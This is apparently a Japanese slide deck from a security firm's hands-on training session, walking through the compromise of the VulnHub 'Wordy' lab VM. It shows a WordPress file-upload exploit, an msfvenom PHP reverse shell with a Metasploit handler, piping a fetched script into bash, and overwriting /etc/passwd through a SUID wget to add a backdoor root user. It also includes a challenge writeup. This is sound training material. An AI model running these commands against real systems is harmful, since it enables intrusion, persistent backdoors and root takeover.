イエラエセキュリティMeet up 20210820

© 2021 Ierae Security Inc. All Rights Reserved. 0
© 2021 Ierae Security Inc. All Rights Reserved.
ハンズオン勉強会
2021年8月20日

• 講師の紹介
• OSINT PTとVulnHub
• 攻撃者環境の構築
• 本日の攻撃対象
• Walkthrough: Wordy
• チャレンジ問題
• チャレンジ問題 Writeup
AGENDA

講師の紹介
講師の紹介

講師の紹介
Twitter: @kawakatz

OSINT PTとVulnHub
OSINT PTとVulnHub

OSINT PTとVulnHub
 管理アセット（ドメイン・ネットワーク）の調査
 サブドメイン探索
 利用SaaSの特定
 ポートスキャン
 各サービスへの調査
 認証情報の探索
 Google検索
 etc...
 Webアプリケーションへの攻撃
 既知の脆弱性の悪用
 認証試行
 0dayの調査
 etc...
 権限昇格
 横展開
 etc...
 エントリーポイント候補の洗い出し
 エントリーポイントへの侵入に向けた情報収集
 フィッシング

攻撃者環境の構築
攻撃者環境の構築

攻撃者環境の構築（Kali Linux）
sudo su
passwd
 rootユーザの有効化

本日の攻撃対象

 HA: WORDY
URL：https://www.vulnhub.com/entry/ha-wordy,363/
目標：サーバのroot権限を奪取する

 関連サービス
 Hack The Box (https://www.hackthebox.eu/)
Boxと呼ばれるサーバを攻略しながら、PTの基礎的な攻撃手法を学ぶことができるサービス。
Boxは定期的に入れ替わるため、新しいBoxに挑戦し続けることができる。
Challengeと呼ばれるCTF系の問題も多数存在している。

 TryHackMe (https://tryhackme.com/)
Hack The Boxと似ているが、テーマごとに分けて学習を進めることができる。

 OSCP (https://www.offensive-security.com/pwk-oscp/、https://ierae.co.jp/lp/ierae-academy/#course1)
Offensive Security社が提供する実践的なPTの資格。

 HA: WORDY
学びたい事
 Nmapを用いたポートスキャン
 Burp Suiteを用いたHTTP通信の確認
 Dirsearchを用いたディレクトリ探索
 WPScanを用いたWordPressに対する調査
 Exploit Codeの理解・悪用
 LinPEASを用いた権限昇格フローの調査
 脆弱性の悪用方法の理解・悪用

検証環境の設定

 前提条件
VirtualBoxにKali LinuxとWordyがインポートされていること
 VirtualBoxのNW設定

 NATネットワークを用いた仮想マシン間通信の実現
ここでは、VirtualBoxのNATネットワークを用いて、Kali LinuxとWordy間の通信を実現させます。
ファイル > 環境設定 > ネットワーク > ＋マーク

各仮想マシンのアダプタとして、先ほど作成したネットワークを用いてNATネットワークを指定します。

2つの仮想マシンを起動します。
Kali Linux側でifconfigコマンドを実行すると、10.0.2.0/24内のIPアドレスが付与されていることが確認できます。

 ホストオンリーアダプタを用いた仮想マシン間通信の実現
netdiscoverコマンドを用いて、指定したIPレンジ内に存在するホストを列挙します。
netdiscover –r 10.0.2.0/24
※ X.X.X.1のIPアドレスは基本的にホストOSとなります。その他、対象のIPアドレスが1つに絞れない場合、ポート
スキャンの段階まで各IPアドレスに実施していただいて問題ありません。

Walkthrough: Wordy
Walkthrough: Wordy

Walkthrough: Wordy
目的：外部からアクセス可能なサービスの列挙
 TCPのフルポートスキャン
nmap <IP Address> -p- -sVC –n
-p-: すべてのポートを対象として指定
-sVC (= -sV + -sC): 各サービスのバージョン特定を試行 + 各サービスに対して基礎的な情報収集スクリプトを実行
-n: 逆引きDNS解決を行わない
 UDPのTOP1000ポートに対するスキャン
nmap <IP Address> -sUVC –n
-sU: UDPのポートスキャンを実施
 Nmapを用いたポートスキャン

Walkthrough: Wordy
nmap <IP Address> -p- -sVC –n
nmap <IP Address> -sUVC –n

Walkthrough: Wordy
nmap <IPアドレス> -p- -sVC –n
nmap <IPアドレス> -sUVC –n

Walkthrough: Wordy
目的：HTTPリクエスト・レスポンスの確認 + 視覚的な調査
Project options > Misc > Embedded Browser > Allow the embedded browser to run without a sandbox.
Proxy > Intercept > Open Browser
 Burp Suiteを用いたHTTP通信の確認

Walkthrough: Wordy

Walkthrough: Wordy
Proxy > HTTP history

Walkthrough: Wordy
 AQUATONE (https://github.com/michenriksen/aquatone)
 EyeWitness (https://github.com/FortyNorthSecurity/EyeWitness)

Walkthrough: Wordy
目的：アクセス可能なURLの発見
 Google検索
site:<ドメイン名>
 Wayback Machine (https://web.archive.org/)
 Dirsearchを用いたディレクトリ探索

Walkthrough: Wordy
 waybackurls (https://github.com/tomnomnom/waybackurls)
Twitter: @TomNomNom
waybackurls <ドメイン名>
 getallurls (https://github.com/lc/gau)
gau <ドメイン名>

Walkthrough: Wordy
 Dirsearch (https://github.com/maurosoria/dirsearch)
apt install dirsearch
dirsearch –u <URL> (-w <Wordlist>)
-w: 使用するワードリストを指定 (https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content/)

Walkthrough: Wordy

Walkthrough: Wordy
 Wappalyzer (https://www.wappalyzer.com/)

Walkthrough: Wordy
目的：WordPress固有の問題の調査
 WPScan (https://wpscan.com)
API Tokenがあるとなおよし
 WPScanを用いたWordPressに対する調査

Walkthrough: Wordy
http://192.168.43.13/wordpress/?author=1
-> http://192.168.43.13/wordpress/index.php/author/admin/

Walkthrough: Wordy
-eオプションについて

Walkthrough: Wordy
wpscan --url http://<IP Address>/wordpress --enumerate (--api-token <API Token>)

Walkthrough: Wordy
wpscan --url http://192.168.43.13/wordpress --enumerate (--api-token <API Token>)

Walkthrough: Wordy
wpscan --url http://192.168.43.13/wordpress –enumerate ap (--plugins-detection aggressive)

Walkthrough: Wordy

Walkthrough: Wordy
searchsploit reflex gallery

休憩（5分）
休憩（5分）

Walkthrough: Wordy
目的：脆弱性の悪用
 WordPress Plugin Reflex Gallery 3.1.3 - Arbitrary File Upload (https://www.exploit-db.com/exploits/36374)
searchsploit -m 36374
cat 36374.txt
 Exploit Codeの理解・悪用

Walkthrough: Wordy
vim exploit.html
python3 –m http.server 80
echo "<?php phpinfo(); ?>" > phpinfo.php

Walkthrough: Wordy
http://127.0.0.1/exploit.htmlからphpinfo.phpをサーバにアップロード
-> http://<IP Address>/wordpress/wp-content/uploads/2015/03/phpinfo.php

Walkthrough: Wordy

Walkthrough: Wordy
vim exploit.html

Walkthrough: Wordy
http://127.0.0.1/exploit.htmlからphpinfo.phpをサーバにアップロード（再チャレンジ）

Walkthrough: Wordy

Walkthrough: Wordy
 Reverse Shell とは
攻撃対象のサーバから攻撃者のサーバ（C2サーバ）に接続し、遠隔操作を可能にすること
① 脆弱性を悪用した攻撃
② C2サーバへ接続
③ C2サーバ越しに遠隔操作
C2サーバ攻撃対象サーバ

Walkthrough: Wordy
 Reverse Shell とは
攻撃対象のサーバから攻撃者のサーバ（C2サーバ）に接続し、遠隔操作を可能にすること
① 脆弱性を悪用した攻撃
② C2サーバへ接続
③ C2サーバ越しに遠隔操作
C2サーバ攻撃対象サーバ
Kali Linux Wordy

Walkthrough: Wordy
 Metasploit Framework (https://www.metasploit.com/)
msfvenom –l payload | grep php
msfvenom -p php/reverse_php LHOST=<Kali's IP> LPORT=<Kali's Listen Port> -o shell.php

Walkthrough: Wordy
msfconsole

Walkthrough: Wordy
msf6 > use multi/handler
msf6 > options

Walkthrough: Wordy
msf6 exploit(multi/handler) > set payload php/reverse_php
msf6 exploit(multi/handler) > set LHOST <Kali's IP>
msf6 exploit(multi/handler) > set LPORT <Kali's Listen Port>
msf6 exploit(multi/handler) > run

Walkthrough: Wordy
http://127.0.0.1/exploit.htmlからshell.phpをサーバにアップロード（再チャレンジ）
-> http://<IP Address>/wordpress/wp-content/uploads/2021/08/shell.php

Walkthrough: Wordy
 WordPress Plugin Reflex Gallery - Arbitrary File Upload (Metasploit) (https://www.exploit-db.com/exploits/36809)

Walkthrough: Wordy
msfconsole
msf6 > search reflex gallery

Walkthrough: Wordy
msf6 > use 0
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > options
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set RHOST <Wordy's IP>
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set TARGETURI /wordpress
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set LHOST <Kali's IP>
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set LPORT <Kali's Listen Port>
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set Proxies http:127.0.0.1
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > advanced
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > set ReverseAllowProxy true
msf6 exploit(unix/webapp/wp_reflexgallery_file_upload) > run

Walkthrough: Wordy

休憩（5分）
休憩（5分）

Walkthrough: Wordy
目的：権限昇格フローの発見
 LinPEAS - Linux Privilege Escalation Awesome Script (https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)
wget https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh
 LinPEASを用いた権限昇格フローの調査

Walkthrough: Wordy
 PTY (pseudo terminal)
「擬似端末（ぎじたんまつ、英語: pseudo terminal）または疑似ターミナルとは、UNIXにおけるテキスト端末の擬似
デバイスのマスター・スレーブのペアである。仮想コンソール、端末装置、シリアルポートハードウェアなどを使用
しないテキスト端末のインターフェイスを提供する。これらのハードウェアの代わりに、擬似端末セッションの役割
をソフトウェア（プロセス）が代用する。例えば、SSHなどでログインするとこの端末に接続される。」
（引用元: https://ja.wikipedia.org/wiki/%E6%93%AC%E4%BC%BC%E7%AB%AF%E6%9C%AB）
-> より扱いやすい + より見やすいTerminal
meterpreter > shell
python3 –c 'import pty; pty.spawn("/bin/bash")'

Walkthrough: Wordy
curl http://<Kali's IP>/linpeas.sh | bash
wget http://<Kali's IP>/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Walkthrough: Wordy
cat linpeas.sh | bash

Walkthrough: Wordy

Walkthrough: Wordy
 GTFOBins (https://gtfobins.github.io/)

Walkthrough: Wordy

Walkthrough: Wordy
cp wget -> SUID
root権限で書き込み可能

Walkthrough: Wordy
cp wget -> SUID
root権限で書き込み可能
/etc/passwdを書き換えよう！

Walkthrough: Wordy
 /etc/passwdの書き換え
ここでは、backdoorとなる管理者ユーザを追加します。
まず、/etc/passwdからrootユーザの行をpasswdファイルの形式と照らし合わせながら見ていきます。
<UserName>:<Password Hash>:<User ID>:<Group ID>:<Comment>:<Home Directory>:<Login Shell>
root:x:0:0:root:/root:/bin/bash
※ Password Hashに「x」と指定されている場合、ハッシュ値は/etc/shadowファイル内で定義されています。
rootユーザの行をベースにbackdoorとなるユーザの行を作成していきます。

Walkthrough: Wordy
ユーザ名とパスワードのハッシュのみを書き換えれば良いため、指定するパスワードハッシュを生成します。
パスワードハッシュは以下の形式になっており、idの値によってハッシュアルゴリズムを特定することができます。
$id$salt$hash
1: MD5
5: SHA256
6: SHA512

Walkthrough: Wordy
ユーザ名とパスワードのハッシュのみを書き換えれば良いため、指定するパスワードハッシュを生成します。
パスワードハッシュは以下の形式になっており、idの値によってハッシュアルゴリズムを特定することができます。
$id$salt$hash
1: MD5
5: SHA256
6: SHA512
こうしたパスワードハッシュはopensslコマンドのpasswdサブコマンドを用いて、以下のように生成することができ
ます。
openssl passwd -<id> -salt <Salt> <Password>

Walkthrough: Wordy
WordyサーバのpasswdをKaliにコピーし、末尾に1行追記します。
その後、Python製のWebサーバを起動し、改ざんしたpasswdファイルを配送する用意をします。
vim passwd
echo 'ieraebackdoor:$1$ierae$1G/feXS0Di6qME/LP6Zg90:0:0:root:/root:/bin/bash' >> passwd

Walkthrough: Wordy
wgetのSUIDを悪用してWordyサーバの/etc/passwdを書き換えます。
wget http://<Kali's IP>/passwd –O /etc/passwd

Walkthrough: Wordy
/etc/passwdを書き換えたため、suコマンドを用いてbackdoorのユーザにログインし直すことができます。
結果として、root権限を奪取することに成功しました。
su <Backdoor UserName>

休憩（5分）
休憩（5分）

チャレンジ問題

[!] Title: Gwolle Guestbook <= 1.5.3 - Remote File Inclusion (RFI)
[!] Title: Gwolle Guestbook <= 2.1.0 - Cross-Site Request Forgery (CSRF)
[!] Title: Gwolle Guestbook <= 2.1.0 - Unauthenticated Stored Cross-Site Scripting (XSS)
[!] Title: Gwolle Guestbook <= 2.5.3 - Cross-Site Scripting (XSS)
[!] Title: Mail Masta 1.0 - Unauthenticated Local File Inclusion (LFI)
[!] Title: Mail Masta 1.0 - Multiple SQL Injection
[!] Title: Reflex Gallery <= 3.1.3 - Arbitrary File Upload
[!] Title: Multiple Plugins - jQuery prettyPhoto DOM Cross-Site Scripting (XSS)
[!] Title: Site Editor <= 1.1.1 - Local File Inclusion (LFI)
[!] Title: Slideshow Gallery < 1.4.7 - Arbitrary File Upload
[!] Title: Tribulant Slideshow Gallery <= 1.5.3 - Arbitrary file upload & Cross-Site Scripting (XSS)
[!] Title: Tribulant Slideshow Gallery <= 1.6.4 - Authenticated Cross-Site Scripting (XSS)
[!] Title: Slideshow Gallery <= 1.6.5 - Multiple Authenticated Cross-Site Scripting (XSS)
[!] Title: Slideshow Gallery <= 1.6.8 - XSS and SQLi
[!] Title: EasyCart <= 3.0.15 - Unrestricted File Upload
[!] Title: EasyCart 1.1.30 - 3.0.20 - Privilege Escalation
[!] Title: WP Support Plus Responsive Ticket System < 8.0.0 – Authenticated SQL Injection
[!] Title: WP Support Plus Responsive Ticket System < 8.0.8 - Remote Code Execution (RCE)
[!] Title: WP Support Plus Responsive Ticket System < 9.0.3 - Multiple Authenticated SQL Injection
[!] Title: WP Support Plus Responsive Ticket System < 9.1.2 - Stored XSS
[!] Title: WP Support Plus Responsive Ticket System < 8.0.0 - Privilege Escalation
[!] Title: WP Support Plus Responsive Ticket System < 8.0.8 - Remote Code Execution
[!] Title: WP Symposium 13.04 - Unvalidated Redirect
[!] Title: WP Symposium <= 12.07.07 - Authentication Bypass
[!] Title: WP Symposium <= 14.11 - Unauthenticated Shell Upload
[!] Title: WP Symposium <= 15.1 - SQL Injection
[!] Title: WP Symposium <= 15.5.1 - Unauthenticated SQL Injection
[!] Title: WP Symposium <= 15.1 - Blind SQL Injection
[!] Title: WP Symposium <= 15.8.1 - Unauthenticated Reflected Cross-Site Scripting (XSS)
 別の方法でReverse Shellを奪取しよう！

チャレンジ問題のヒント
 WPScanのReferencesやGoogle検索からExploit Codeを見つけよう！
 ディレクトリ・リスティングを使って、アクセスすべきURLを特定しよう！
 ヒント

 ヒント

チャレンジ問題 Writeup
チャレンジ問題 Writeup

 Title: WP Support Plus Responsive Ticket System < 8.0.8 - Remote Code Execution
searchsploit WP Support Plus Responsive

vim exploit.html
cp shell.php shell.phtml

10
msf6 exploit(multi/handler) > options
msf6 exploit(multi/handler) > run

10
http://127.0.0.1/exploit.htmlからshell.phtmlをサーバにアップロード
-> http://<IP Address>/wordpress/wp-content/uploads/wpsp/shell.phtml

10
http://192.168.43.13/wordpress/wp-content/uploads/wpsp/

イエラエセキュリティMeet up 20210820

Recommended

Recommended

More Related Content

What's hot

What's hot (20)

Similar to イエラエセキュリティMeet up 20210820

Similar to イエラエセキュリティMeet up 20210820 (20)

Recently uploaded

Recently uploaded (6)

イエラエセキュリティMeet up 20210820